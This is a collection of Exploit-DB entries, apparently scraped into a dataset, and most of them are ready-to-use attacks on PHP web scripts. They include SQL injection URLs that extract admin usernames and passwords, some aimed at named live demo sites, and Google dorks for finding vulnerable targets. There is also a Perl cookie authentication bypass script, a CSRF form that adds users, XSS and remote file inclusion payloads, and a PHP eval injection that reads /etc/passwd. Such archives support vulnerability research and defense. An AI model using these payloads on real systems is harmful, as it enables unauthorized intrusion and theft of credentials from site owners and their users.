deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6949
Description: YourFreeWorld URL Rotator - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
URL Rotator ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/urlrotator.php

DorK   : Copyright Â©  Rotator 2008

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Demo :
_______

http://www.safelistadtrading.com/urlrotator/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--






Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #6941
Description: YourFreeWorld Viral Marketing - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Hussin X

Exploit:
Viral Marketing ( id ) Remote SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script    : http://www.yourfreeworld.com/script/viralmarketing.php

DorK   : Copyright Â© Viral Marketing 2008

Exploit :
_______

tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--


Demo :
_______

http://www.downlinegoldmine.com/viralmarketing/tr.php?id=-1+union+select+1,2,3,concat(0x3a,Username,0x3a,Password),5,6,7,8,9,10,11,12,13+from+adminsettings--






Greetz : All my freind

# milw0rm.com [2008-11-01]
Exploit-DB #34968
Description: YourMembers Plugin - Blind SQL Injection
Type: webapps
Platform: php
Date: 2014-10-14
Author: TranDinhTien

Exploit:
Vulnerability title: Blind SQL Injection Vulnerability in YourMembers plugin
CVE: N/A
Vendor: YourMembers plugin
Product: https://github.com/YourMembers/yourmembers/tree/master/ym_trunk
Affected version: Version 3, 29 June 2007 (https://github.com/YourMembers/yourmembers/blob/master/LICENSE)
Google dork: inurl:ym_download_id=
Fixed version: N/A
Reported by: Tien Tran Dinh - tien.d.tran@itas.vn


Details:

The Blind SQL injection vulnerability has been found and confirmed within the software as an anonymous user. A successful attack could allow an anonymous attacker to access information such as username and password hashes that are stored in the database. The following URL and parameter has been confirmed to suffer from blind SQL injection:

GET /?ym_download_id=<SQL Injection> HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: wfvt_[PII_REDACTED]=5434f2560126f; wpfront-notification-bar-landingpage=1; bp-activity-oldestpage=1; __utma=9[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]756050.1; __utmb=9793911.1.10[PII_REDACTED]; __utmc=9793911; __utmz=9[PII_REDACTED]756050.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); all_RyDwsSBXVzZXJzGOTe_u0CDA-clickdesk_referrer=http%3A//www.google.com.vn/url%3Fsa%3Dt%26rct%3Dj%26q%3D%26esrc%3Ds%26source%3Dweb%26cd%3D1%26ved%3D0CB0QFjAA%26url%3Dhttp%253A%252F%252Fsdj
Connection: keep-alive

Vulnerable file: ym_trunk/includes/ym-download_functions.include.php 
Vulnerable code: (Line: 313 -> 329)
		function ym_get_download($id=false) {
			global $wpdb, $ym_dl_db;

			$row = new stdClass();
			$row->id = $row->title = $row->filename = $row->postDate = $row->members = $row->user = false;

			if ($id) {
				$sql = 'SELECT id, title, filename, postDate, members, user
						FROM ' . $ym_dl_db . '
						WHERE id = ' . $id;
				$row = $wpdb->get_row($sql);
			}

			return $row;
		} 
		
Credits: Thanks to 	Pham Kien Cuong (cuong.k.pham@itas.vn), Dang Quoc Thai (thai.d.dang@itas.vn), Le Ngoc Phi (phi.n.le@itas.vn)
Exploit-DB #6321
Description: Yourownbux 3.1/3.2 Beta - SQL Injection
Type: webapps
Platform: php
Date: 2008-08-27
Author: ~!Dok_tOR!~

Exploit:
YourOwnBux 3.1, 3.2 Beta Remote SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Date found: 28.08.08
Product: YourOwnBux
Version: 3.1, 3.2
Price: $39.99
DEMO: yourownbux.com/demos/
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

3.2 Beta version

Exploit:

http://localhost/[installdir]/memberstats.php?user='+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password),10,11,12,13,14,15,16,17,18,19+from+tb_users/*

3.1 version

Exploit:

http://localhost/[installdir]/memberstats.php?user='+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,username,password),10,11,12,13,14,15,16,17,18+from+tb_users/*

# milw0rm.com [2008-08-27]
Exploit-DB #6438
Description: Yourownbux 4.0 - 'cookie' Authentication Bypass
Type: webapps
Platform: php
Date: 2008-09-11
Author: Tec-n0x

Exploit:
#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Request;

#+-------------------------------------------------------------------------------------------------+-#
#+ Yourownbux v4.0                   ------------------------------------------------------------+--+
#+ Cookie Modification Exploit -----------------------------------------------------------------++
#+ Discovered By: Tec-n0x | 04/9/2008 --------------------------------------------------------++
#
#+ Dropsec.com
#
#+ Modify The Line 39, Adding More User's that can be the admin username------------+
#+
# + Gr33tz: Celciuz, OzX, N.O.X, MurdeR, Syst3m-c0d3r && All Friends --++
#+-------------------------------------------------------------+----------------------------------------#



system("clear");

print "
# Yourownbux v4.0 Cookie Modification Exploit\n# Discovered By: Tec-n0x\n\n# Tec-n0x [ at ] hotmail [ dot ] com > DropSec.com 
\n\n";
print "Target [ Example: www.sitedemo.com ] :\n> ";
$target = <STDIN>;
chop($target);

if($target =~ m/www\.(.*)\.(.*)/) {

$other = $1;
check1($target);

} else {
print "\nInvalid Target.";
exit();
}

sub explote {

@tryusers = ("admina", "administrator", "admins", "admin", "master", "manager", "root", "$other"); 
# Add Posible Users.

$check = shift;

foreach $user (@tryusers) { 

$pass = "Tec-n0x";

print "\n\tTrying > $user\n";

	$browser = LWP::UserAgent->new();
	$browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
	$browser->default_header("Cookie" => "usNick=$user; usPass=$pass");
	$get = HTTP::Request->new(GET => $check);
	$resp = $browser->request($get);
	$content = $resp->content();

@code = split("\n",$content);

	foreach $checka (@code) {

			if($checka =~ m/Emails|Served|Workload|Overview/) {

system("clear");

print "Succesfull EXPLOTED ...!!\n\nValid Username: $user\n\nGo to: $check\n\n And Put this on your browser:";

$vd = "javascript\:document\.cookie = \"usNick=$user\; path=\/\"\;";
$vda = "javascript\:document\.cookie = \"usPass=Dropsec\.com\; path=\/\"\;";

print "

+------------------------------------+
+ $vd\n+ $vda
+------------------------------------+
";


$yes = 1;

exit();

}
}
}

if($yes != 1) {

print "\n\n\nExploit Failed";

exit();

}

}
sub check1 {

$target = shift;

$check = "http\:\/\/$target\/admin\/index\.php";

	$browser = LWP::UserAgent->new();
	$browser->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14");
	$get = HTTP::Request->new(GET => $check);
	$resp = $browser->request($get);
	$content = $resp->content();

@code = split("\n",$content);

	foreach $checka (@code) {

			if($checka =~ m/You must login as administrator to access this page/) {

print "Check 1 [ OK ]\n";

$success = 1;

explote($check);

} 

}

if($sucess != 1) {

print "Failed";

exit();

}

}

# milw0rm.com [2008-09-11]
Exploit-DB #6693
Description: Yourownbux 4.0 - 'cookie' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-07
Author: Tec-n0x

Exploit:
________                                            ._.
\______ \_______  ____ ______  ______ ____   ____   | |
 |    |  \_  __ \/  _ \\____ \/  ___// __ \_/ ___\  | |
 |    `   \  | \(  <_> )  |_> >___ \\  ___/\  \___   \|
/_______  /__|   \____/|   __/____  >\___  >\___  >  __
        \/             |__|       \/     \/     \/   \/
.____          ___.           
|    |   _____ \_ |__   ______
|    |   \__  \ | __ \ /  ___/
|    |___ / __ \| \_\ \\___ \ 
|_______ (____  /___  /____  >
        \/    \/    \/     \/ 

---------------=[]=---------------=[]=---------------=[]=---------------=[]=---------------=[]=---------------=[]

-----[]===========[]=> Yourownbux v4.0 Blind SQL Injection Vulnerability ( referrals.php )

-----[]===========[]=> Discovered By: Tec-n0x 
		 	Contact: Tec-n0x <at> hotmail <dot> com

-----[]===========[]=> DropSec.com =~ Lab's ..!!

-----[]===========[]=> Gr33tz:
			Celciuz, MurdeR, OzX, N.O.X, JosS, DDoS && All Friends
			
			Special Gr33tz to: C1c4tr1Z ( http://lowsec.org )

---------------=[]=---------------=[]=---------------=[]=---------------=[]=---------------=[]=---------------=[]

		POC: 

	Go to => http://site.com/referrals.php 	( Logged in )
	javascript:document.cookie="usNick=' AND 1=0 /*; expires=Thu, 2 Aug 2020 20:45:20 UTC; path=/";

		=> Modify : ' AND 1=0 /* With Injection's.
				
		=> Example: ' AND ascii(substring((SELECT password FROM yob_users where id=1),1,1))=100 /*
		
		=> When You got the Hash ... Add the cookie usNick with the user [ Extract it with blind if you dont know ] 
		 and the SHA1 Hash ( Exploit is going to be available Next Week on DropSec.com ).

---------------=[]=---------------=[]=---------------=[]=---------------=[]=---------------=[]=---------------=[]
				

# milw0rm.com [2008-10-07]
Exploit-DB #15892
Description: YourTube 1.0 - Cross-Site Request Forgery (Add User)
Type: webapps
Platform: php
Date: 2011-01-02
Author: AtT4CKxT3rR0r1ST

Exploit:
YourTube v1.0 CSRF Vulnerability (Add User)
====================================================================
####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://www.ac4p.com/
.:. Dork           : inurl:"Powered by YourTube v1.0"

####################################################################

===[ Exploit ]===

<form method="POST" name="form0" action="http://localhost/card/admincp/users.php">
<input type="hidden" name="action" value="Register"/>
<input type="hidden" name="vusername" value="user1"/>
<input type="hidden" name="vpass" value="123456"/>
<input type="hidden" name="email" value="user1@hotmail.com"/>
<input type="hidden" name="gender" value="m"/>
<input type="hidden" name="country" value="palestine"/>
<input type="hidden" name="altoge" value="My signature"/>
<input type="hidden" name="activated" value="1"/>
</form>

</body>
</html>

####################################################################
Exploit-DB #41293
Description: Youtube Analytics Multi Channel 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-02-10
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Youtube Analytics Multi Channel v3.0 - SQL Injection
# Google Dork: N/A
# Date: 10.02.2017
# Vendor Homepage: http://vtcreators.com/
# Software Buy: https://codecanyon.net/item/youtube-analytics-multi-channel/14720919
# Demo: http://demo.vtcreators.com/yamc/
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php/user_management/update?id=[SQL]
# Etc...
# # # # #
Exploit-DB #6117
Description: YouTube blog 0.1 - Remote File Inclusion / SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-07-22
Author: Unohope

Exploit:
  _____ _   _ _____  _____ _____ _____  
 /  ___| |_| |  _  \|  _  |  _  |_   _| 
 | (___|  _  | [_)_/| (_) | (_) | | |   
 \_____|_| |_|_| |_||_____|_____| |_|   
        C. H. R. O. O. T.  SECURITY  GROUP
        - -- ----- --- -- -- ---- --- -- - 
                     http://www.chroot.org

                          _   _ _ _____ ____ ____ __  _ 
        Hacks In Taiwan  | |_| | |_   _|  __|    |  \| |
        Conference 2008  |  _  | | | | | (__| () |     |
                         |_| |_|_| |_| \____|____|_|\__|
                                      http://www.hitcon.org


Title =======:: YouTube Blog 0.1 Multiple Remote Vulnerabilities

Author ======:: unohope [at] chroot [dot] org

IRC =========:: irc.chroot.org #chroot

ScriptName ==:: YouTube Blog

Download ====:: http://nchc.dl.sourceforge.net/sourceforge/youtubeblog/ytb_v0.1.zip

Mirror ======:: http://www.badongo.com/file/10507193

______________________

magic_quotes_gpc = Off
safe_mode = Off

_____
[SQL]

http://victim/ytb/todos.php?id=-99+union+select+1,2,mail,contrasena,5,6,7+from+ytb_usuarios+where+id=1/*

_____
[XSS]

http://victim/ytb/mensaje.php?m=<script>alert(/xss/)</script>

_____
[RFI]

http://victim/ytb/cuenta/cuerpo.php?base_archivo=http://192.168.1.111/blah.txt


and more .. = =

______
[NOTE]

!! This is just for educational purposes, DO NOT use for illegal. !!

# milw0rm.com [2008-07-22]
Exploit-DB #4136
Description: YouTube Clone Script - 'msg.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-02
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+                YouTube Clone Script SQL Injection Vulnerability                +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.hispah.com/index.php?act=viewProd&productId=20
DORK: allinurl:"channel_detail.php?chid="

DESCRIPTION:
Remote SQL injection in msg.php id, able to pull admin user/pass.

EXPLOIT:
http://site.com/path/msg.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,0x[PII_REDACTED]755A7A20616E[PII_REDACTED]6F67206F776E616765,convert(concat((SELECT/**/svalue/**/from/**/sconfig/**/where/**/soption=0x61646D696E5F6E616D65),0x3a,(SELECT/**/svalue/**/from/**/sconfig/**/where/**/soption=0x61646D696E5F70617373))/**/using/**/latin1),4,5,6,7,8,9/*


Tip/Note:
Majority of the sites require login to view msg.php None of the registration info is checked.

Admin Panel is in /siteadmin/



GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+                YouTube Clone Script SQL Injection Vulnerability                +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-02]
Exploit-DB #6147
Description: Youtuber Clone - SQL Injection
Type: webapps
Platform: php
Date: 2008-07-28
Author: Hussin X

Exploit:
|___________________________________________________|
|
| Youtuber Clone (UID) Remote SQL Injection Vulnerability
|
|___________________________________________________
|---------------------Hussin X----------------------|
|
|    Author: Hussin X
|
|    Home :  www.tryag.cc/cc
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|___________________________________________________
|                                                   |
|
|
| script : http://www.greatclone.com/product_info.php?cPath=30&products_id=86
|
| DorK   : "Everyone should be on TV! Now you can upload 2 TV"
|
|___________________________________________________|



Exploit:  

www.[target].com/Script/ugroups.php?UID=-1+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15--

 



L!VE DEMO: :


http://www.demosgreatclone.com/youtubeclone/ugroups.php?UID=-1+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15--




____________________________( Greetz )____________________________
|
| tryag.cc | DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | str0ke
|   
| Iraqihack | FAHD | mos_chori | Silic0n 
|
|_________________________________________________________________


                       Im IRAQi

# milw0rm.com [2008-07-28]
Exploit-DB #6606
Description: Yoxel 1.23beta - 'itpm_estimate.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-09-27
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ###############################################################
 #  [ Yoxel <= 1.23beta ]   PHP code Injection Vulnerability   #
 ###############################################################
 #
 # Script: "Yoxel is a hidden gem. This Open Source project provides customer/business focused Agile Product Management tools in PHP."
 #
 # Script site: http://www.yoxel.com/
 # Download: http://sourceforge.net/projects/yoxel/
 #
 # Vuln:
 # http://site.com/[yoxel_v1.23beta]/itpm/itpm_estimate.php?a=LOCAL_OR_REMOTE_FILE&rid=1&proj_id=);include($_GET[a]);die(2
 # http://site.com/[yoxel_v1.23beta]/itpm/itpm_estimate.php?a=LOCAL_OR_REMOTE_FILE&proj_id=);include($_GET[a]);die(2
 # 
 #
 # (1) Bug: ./yoxel_v1.23beta/itpm/itpm_estimate.php (line: 40)
 #
 # ...
 #    require_once('includes/project/estimate_inc.php');
 # ... 			    
 #
 # 
 # (2) Bug: ./yoxel_v1.23beta/includes/project/estimate_inc.php (lines: 85-99)
 #
 # ...
 #	if(isset($_GET['rid'])){
 #		$rids=explode(':',$_GET['rid']);
 #		if(isset($_GET['proj_id']) && $_GET['proj_id']){
 #			$proj_id=$_GET['proj_id'];
 #			eval("\$pps= new $cname(".$_GET['proj_id'].");");		// PHP inj 1
 #		}
 #	}elseif(isset($_GET['proj_id']) && !empty($_GET['proj_id'])){
 # 		$proj_id=$_GET['proj_id'];
 #
 #		if(isset($_GET['pr_list_type']))
 # 			$plt=$_GET['pr_list_type'];
 #		else
 # 			$plt='full';
 # 
 #		eval("\$pps= new $cname($proj_id);");					// PHP inj 2
 # ... 			    
 #
 #				 
 # After php injection: eval( $pps= new ITPlan();include('/etc/passwd');die(2); );
 #
 # IMPORTANT: This bug doesn't work, when you aren't logged in Yoxel ;(((
 #
 # 
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-09-27]
Exploit-DB #14107
Description: YPNinc JokeScript - 'ypncat_id' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-29
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
      YPNinc JokeScript (ypncat_id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: June, 29-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: JokeScript
Vendor  	: http://www.ypninc.com/
Price		: $89.95
----------------------------------------------------------------

Exploit:
~~~~~~~
-999+union+all+select+1,2,3,4,group_concat(ypnadmin_name,char(58),ypnadmin_pwd)v3n0m,6,7,8,9,10+from+ypnjks_admin--

Poc:
~~~~~~~

http://127.0.0.1/[path]/index.php?ypncat_id=[SQLi]

----------------------------------------------------------------

WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com

---------------------------[EOF]--------------------------------
Exploit-DB #14109
Description: YPNinc PHP Realty Script - 'docID' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-29
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
     YPNinc PHP Realty Script (docID) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: June, 29-2010
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: PHP Realty Script
Vendor  	: http://www.ypninc.com/
Price		: $89.95
----------------------------------------------------------------

Exploit:
~~~~~~~
-9999+union+all+select+1,2,group_concat(Username,char(58),Password)v3n0m+from+admin--

Poc:
~~~~~~~

http://127.0.0.1/[path]/dpage.php?docID=[SQLi]

----------------------------------------------------------------

WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com

---------------------------[EOF]--------------------------------
Exploit-DB #15812
Description: Ypninc Realty Classifieds - SQL Injection
Type: webapps
Platform: php
Date: 2010-12-23
Author: Br0ly

Exploit:
Script Name: Ypninc Realty Classifieds
Script Demo: http://fsbo.ypninc.com/
BUG: Sql INjection
google dork: inurl:"gmap.php?id=";
OBS: With this dork you will find a lot of sql injection aiuhauiha ;D
Found: by Br0ly


Lame script ;/...

p0c:

http://server/gmap.php?id=-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,@@version,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42--

xPloit:

http://server/gmap.php?id=[sqli]

BraZil.. ;D
Exploit-DB #37583
Description: YT-Videos Script - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-08-06
Author: 3spi0n

Exploit:
source: https://www.securityfocus.com/bid/54859/info

YT-Videos Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/demo/ytvideos/play.php?id=2'